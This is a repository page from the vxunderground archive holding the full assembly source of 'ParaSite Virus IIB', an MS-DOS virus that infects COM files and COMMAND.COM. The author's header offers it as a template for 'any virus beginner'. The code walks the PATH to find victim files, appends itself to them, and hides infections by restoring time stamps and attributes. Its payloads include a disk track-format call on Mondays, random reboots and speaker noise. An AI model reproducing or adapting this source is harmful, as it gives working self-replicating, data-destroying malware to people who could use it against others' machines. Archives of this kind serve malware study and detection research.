Skip to content
Snippets Groups Projects
Virus.MSDOS.Unknown.parasite.903.asm 30.5 KiB
Newer Older
vxunderground's avatar
vxunderground committed
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418
;********************************************************************    
;   <PARSIT2B.ASM>   -   ParaSite Virus IIB                              
;                        By: Rock Steady                                 
;  Close to one year I created this Virus. As you can see it is quite    
;  old... Maybe too Old... But here it is... It Sucks... but its great   
;  for any virus beginner... Anyhow...                                   
;  NOTES: Simple COM infector. 10% of the time it reboots the system     
;         20% it plays machine gun noices on the PC speaker... and       
;         70% of the time is infects another COM file... Have fun...     
;********************************************************************    
MOV_CX  MACRO X                                                          
        DB    0B9H                                                       
        DW    X                                                          
ENDM                                                                     
                                                                         
CODE    SEGMENT                                                          
        ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE                           
        ORG     100H                                                     
                                                                         
                                                                         
VCODE:  JMP     virus                                                    
                                                                         
        NOP                                                              
        NOP                             ; To identify it as an Infected  
        NOP                             ; Program!                       
                                                                         
v_start equ     $                                                        
                                                                         
                                                                         
virus:  PUSH    CX                                                       
        MOV     DX,OFFSET vir_dat                                        
        CLD                                                              
        MOV     SI,DX                                                    
        ADD     SI,first_3                                               
        JMP     Rock_1                                                   
Rock_2:                                                                  
        MOV     DX,dta                                                   
        ADD     DX,SI                                                    
        MOV     AH,1AH                                                   
        INT     21H                                                      
        PUSH    ES                                                       
        PUSH    SI                                                       
        MOV     ES,DS:2CH                                                
        MOV     DI,0                                                     
        JMP     Day_Of_Week                                              
Rock_1:                                                                  
        MOV     CX,3                                                     
        MOV     DI,OFFSET 100H                                           
        REPZ    MOVSB                                                    
        MOV     SI,DX                                                    
        PUSH    ES                                                       
        MOV     AH,2FH                                                   
        INT     21H                                                      
        MOV     [SI+old_dta],BX                                          
        MOV     [SI+old_dts],ES                                          
        POP     ES                                                       
        JMP     Rock_2                                                   
                                                                         
Day_Of_Week:                                                             
        MOV     AH,2AH                  ;Get System date!                
        INT     21H                                                      
        CMP     AL,1                    ;Check to See if it's Monday!    
        JGE     day_check               ;Jump if later than Mondays      
        JMP     Get_Time                                                 
day_check:                                                               
        CMP     AL,1                    ;Check to see if it is the 1st   
        JA      Get_Time                ;If yes, create a MESS...        
        JMP     Bad_Mondays             ;If not, then go on with infecti 
mess:                                                                    
                                                                         
Bad_Mondays:                                                             
          MOV   DL,2                    ;The Formatting Tracks..         
          MOV   AH,05                                                    
          MOV   DH,80h                                                   
          MOV   CH,0                                                     
          INT   13h                                                      
                                                                         
Play_music:                                                              
          MOV   CX,20d                  ;Set number of Shots             
new_shot:                                                                
          PUSH  CX                      ;Save Count                      
          CALL  Shoot                                                    
          MOV   CX,4000H                                                 
Silent:   LOOP  silent                                                   
          POP   CX                                                       
          LOOP  new_Shot                                                 
          JMP   mess                                                     
                                                                         
SHOOT     proc  near                    ;The Machine Gun Noices...       
          MOV   DX,140h                                                  
          MOV   BX,20h                                                   
          IN    AL,61h                                                   
          AND   AL,11111100b                                             
SOUND:    XOR   AL,2                                                     
          OUT   61h,al                                                   
          ADD   dx,9248h                                                 
          MOV   CL,3                                                     
          ROR   DX,CL                                                    
          MOV   CX,DX                                                    
          AND   cx,1ffh                                                  
          OR    CX,10                                                    
WAITA:    LOOP  WAITA                                                    
          DEC   BX                                                       
          JNZ   SOUND                                                    
          AND   AL,11111100b                                             
          OUT   61h,AL                                                   
          RET                                                            
Shoot     Endp                                                           
                                                                         
Get_Time:                                                                
          MOV   AH,2Ch                  ; Get System Time!               
          INT   21h                     ;                                
          AND   DH,0fh                                                   
          CMP   DH,3                                                     
          JB    Play_music                                               
          CMP   DH,3h                                                    
          JA    Find_Path                                                
          INT   19h                                                      
                                                                         
go:                                                                      
        MOV     AH, 47H                                                  
        XOR     DL,DL                                                    
        ADD     SI, OFFSET orig_path - OFFSET buffer - 8                 
        INT     21H                                                      
        JC      find_path                                                
                                                                         
        MOV     AH,3BH                                                   
        MOV     DX,SI                                                    
        ADD     DX, OFFSET root_dir - OFFSET orig_path                   
        INT     21H                                                      
                                                                         
infect_root:                                                             
        MOV     [BX+nam_ptr],DI                                          
        MOV     SI,BX                                                    
        ADD     SI,f_ipec                                                
        MOV     CX,6                                                     
        REPZ    MOVSB                                                    
        JMP     hello                                                    
                                                                         
find_path:                                                               
        POP     SI                      ; Seek and Destroy...            
        PUSH    SI                                                       
        ADD     SI,env_str                                               
        LODSB                                                            
        MOV     CX,OFFSET 8000H                                          
        REPNZ   SCASB                                                    
        MOV     CX,4                                                     
                                                                         
check_next_4:                                                            
        LODSB                                                            
        SCASB                                                            
;                                                                        
; The JNZ line specifies that if there is no PATH present, then we will  
; along and infect the ROOT directory on the default drive.              
                                                                         
        JNZ     find_path               ;If not path, then go to ROOT di 
        LOOP    check_next_4            ;Go back and check for more char 
        POP     SI                      ;Load in PATH again to look for  
        POP     ES                                                       
        MOV     [SI+path_ad],DI                                          
        MOV     DI,SI                                                    
        ADD     DI,wrk_spc                                               
        MOV     BX,SI                                                    
        ADD     SI,wrk_spc              ;the File Handle                 
        MOV     DI,SI                                                    
        JMP     SHORT   slash_ok                                         
                                                                         
set_subdir:                                                              
        CMP     WORD PTR [SI+path_ad],0                                  
        JNZ     found_subdir                                             
        JMP     all_done                                                 
                                                                         
                                                                         
found_subdir:                                                            
        PUSH    DS                                                       
        PUSH    SI                                                       
        MOV     DS,ES:2CH                                                
        MOV     DI,SI                                                    
        MOV     SI,ES:[DI+path_ad]                                       
        ADD     DI,wrk_spc              ;DI is the handle to infect!     
                                                                         
                                                                         
move_subdir:                                                             
        LODSB                           ;To tedious work to move into su 
        NOP                                                              
        CMP     AL,';'                  ;Does it end with a ; character? 
        JZ      moved_one               ;if yes, then we found a subdir  
        CMP     AL,0                    ;is it the end of the path?      
        JZ      moved_last_one          ;if yes, then we save the PATH   
        STOSB                           ;marker into DI for future refer 
        JMP     SHORT   move_subdir                                      
                                                                         
moved_last_one:                                                          
        MOV     SI,0                                                     
                                                                         
moved_one:                                                               
        POP     BX                      ;BX is where the virus data is   
        POP     DS                      ;Restore DS                      
        NOP                                                              
        MOV     [BX+path_ad],SI         ;Where is the next subdir?       
        CMP     CH,'\'                  ;Check to see if it ends in \    
        JZ      slash_ok                ;If yes, then it's OK            
        MOV     AL,'\'                  ;if not, then add one...         
        STOSB                           ;store the sucker                
                                                                         
                                                                         
                                                                         
slash_ok:                                                                
        MOV     [BX+nam_ptr],DI         ;Move the filename into workspac 
        MOV     SI,BX                   ;Restore the original SI value   
        ADD     SI,f_spec               ;Point to COM file victim        
        MOV     CX,6                                                     
        REPZ    MOVSB                   ;Move victim into workspace      
hello:                                                                   
        MOV     SI,BX                                                    
        MOV     AH,4EH                                                   
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                   ;DX is ... The File to infect    
        MOV     CX,3                    ;Attributes of Read Only or Hidd 
        INT     21H                                                      
        JMP     SHORT   find_first                                       
joe1:                                                                    
        JMP     go                                                       
                                                                         
find_next:                                                               
        MOV     AH,4FH                                                   
        INT     21H                                                      
                                                                         
find_first:                                                              
        JNB     found_file              ;Jump if we found it             
        JMP     SHORT   set_subdir      ;Otherwise, get another subdirec 
                                                                         
found_file:                                                              
        MOV     AX,[SI+dta_tim]         ;Get time from DTA               
        AND     AL,1EH                  ;Mask to remove all but seconds  
        CMP     AL,1EH                  ;60 seconds                      
        JZ      find_next                                                
        CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON 
        JA      find_next               ;If too long, find another one   
        CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?              
        JB      find_next               ;Then go find another one        
        MOV     DI,[SI+nam_ptr]                                          
        PUSH    SI                                                       
        ADD     SI,dta_nam                                               
                                                                         
more_chars:                                                              
        LODSB                                                            
        STOSB                                                            
        CMP     AL,0                                                     
        JNZ     more_chars                                               
        POP     SI                                                       
        MOV     AX,OFFSET 4300H                                          
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                                                    
        INT     21H                                                      
        MOV     [SI+old_att],CX                                          
        MOV     AX,OFFSET 4301H                                          
        AND     CX,OFFSET 0FFFEH                                         
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                                                    
        INT     21H                                                      
        MOV     AX,OFFSET 3D02H                                          
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                                                    
        INT     21H                                                      
        JNB     opened_ok                                                
        JMP     fix_attr                                                 
                                                                         
opened_ok:                                                               
        MOV     BX,AX                                                    
        MOV     AX,OFFSET 5700H                                          
        INT     21H                                                      
        MOV     [SI+old_tim],CX         ;Save file time                  
        MOV     [SI+ol_date],DX         ;Save the date                   
        MOV     AH,2CH                                                   
        INT     21H                                                      
        AND     DH,7                                                     
        JMP     infect                                                   
                                                                         
                                                                         
infect:                                                                  
        MOV     AH,3FH                                                   
        MOV     CX,3                                                     
        MOV     DX,first_3                                               
        ADD     DX,SI                                                    
        INT     21H             ;Save first 3 bytes into the data area   
        JB      fix_time_stamp                                           
        CMP     AX,3                                                     
        JNZ     fix_time_stamp                                           
        MOV     AX,OFFSET 4202H                                          
        MOV     CX,0                                                     
        MOV     DX,0                                                     
        INT     21H                                                      
        JB      fix_time_stamp                                           
        MOV     CX,AX                                                    
        SUB     AX,3                                                     
        MOV     [SI+jmp_dsp],AX                                          
        ADD     CX,OFFSET c_len_y                                        
        MOV     DI,SI                                                    
        SUB     DI,OFFSET c_len_x                                        
        JMP     CONT                                                     
JOE2:                                                                    
        JMP     JOE1                                                     
CONT:                                                                    
        MOV     [DI],CX                                                  
        MOV     AH,40H                                                   
        MOV_CX  virlen                                                   
        MOV     DX,SI                                                    
        SUB     DX,OFFSET codelen                                        
        INT     21H                                                      
        JB      fix_time_stamp                                           
        CMP     AX,OFFSET virlen                                         
        JNZ     fix_time_stamp                                           
        MOV     AX,OFFSET 4200H                                          
        MOV     CX,0                                                     
        MOV     DX,0                                                     
        INT     21H                                                      
        JB      fix_time_stamp                                           
        MOV     AH,40H                                                   
        MOV     CX,3                                                     
        MOV     DX,SI                                                    
        ADD     DX,jmp_op                                                
        INT     21H                                                      
                                                                         
fix_time_stamp:                                                          
        MOV     DX,[SI+ol_date]                                          
        MOV     CX,[SI+old_tim]                                          
        AND     CX,OFFSET 0FFE0H                                         
        OR      CX,1EH                                                   
        MOV     AX,OFFSET 5701H                                          
        INT     21H                                                      
        MOV     AH,3EH                                                   
        INT     21H                                                      
                                                                         
fix_attr:                                                                
        MOV     AX,OFFSET 4301H                                          
        MOV     CX,[SI+old_att]                                          
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                                                    
        INT     21H                                                      
                                                                         
all_done:                                                                
        PUSH    DS                                                       
        MOV     AH,1AH                                                   
        MOV     DX,[SI+old_dta]                                          
        MOV     DS,[SI+old_dts]                                          
        INT     21H                                                      
        POP     DS                                                       
                                                                         
quit:                                                                    
        MOV     BX,OFFSET count                                          
        CMP     BX,0                                                     
        JB      joe2                                                     
        POP     CX                                                       
        XOR     AX,AX                   ;XOR values so that we will give 
        XOR     BX,BX                   ;poor sucker a hard time trying  
        XOR     DX,DX                   ;reassemble the source code if h 
        XOR     SI,SI                   ;decides to dissassemble us.     
        MOV     DI,OFFSET 0100H                                          
        PUSH    DI                                                       
        XOR     DI,DI                                                    
        RET     0FFFFH                  ;Return back to the beginning    
                                        ;of the program                  
                                                                         
vir_dat EQU     $                                                        
                                                                         
Aurther DB      "ParaSite IIB - By: Rock Steady"                         
olddta_ DW      0                                                        
olddts_ DW      0                                                        
oldtim_ DW      0                                                        
count_  DW      0                                                        
oldate_ DW      0                                                        
oldatt_ DW      0                                                        
first3_ EQU     $                                                        
        INT     20H                                                      
        NOP                                                              
jmpop_  DB      0E9H                                                     
jmpdsp_ DW      0                                                        
fspec_  DB      '*.COM',0                                                
fipec_  DB      'COMMAND.COM',0                                          
pathad_ DW      0                                                        
namptr_ DW      0                                                        
envstr_ DB      'PATH='                                                  
wrkspc_ DB      40h dup (0)                                              
dta_    DB      16h dup (0)                                              
dtatim_ DW      0,0                                                      
dtalen_ DW      0,0                                                      
dtanam_ DB      0Dh dup (0)                                              
buffer  DB      0CDh, 20h, 0, 0, 0, 0, 0, 0                              
orig_path DB    64 dup (?)                                               
root_dir DB     '\',0                                                    
lst_byt EQU     $                                                        
virlen  =       lst_byt - v_start                                        
codelen =       vir_dat - v_start                                        
c_len_x =       vir_dat - v_start - 2                                    
c_len_y =       vir_dat - v_start + 100H                                 
old_dta =       olddta_ - vir_dat                                        
old_dts =       olddts_ - vir_dat                                        
old_tim =       oldtim_ - vir_dat                                        
ol_date =       oldate_ - vir_dat                                        
old_att =       oldatt_ - vir_dat                                        
first_3 =       first3_ - vir_dat                                        
jmp_op  =       jmpop_  - vir_dat                                        
jmp_dsp =       jmpdsp_ - vir_dat                                        
f_spec  =       fspec_  - vir_dat                                        
f_ipec  =       fipec_  - vir_dat                                        
path_ad =       pathad_ - vir_dat                                        
nam_ptr =       namptr_ - vir_dat                                        
env_str =       envstr_ - vir_dat                                        
wrk_spc =       wrkspc_ - vir_dat                                        
dta     =       dta_    - vir_dat                                        
dta_tim =       dtatim_ - vir_dat                                        
dta_len =       dtalen_ - vir_dat                                        
dta_nam =       dtanam_ - vir_dat                                        
count   =       count_  - vir_dat                                        
         CODE    ENDS                                                    
END     VCODE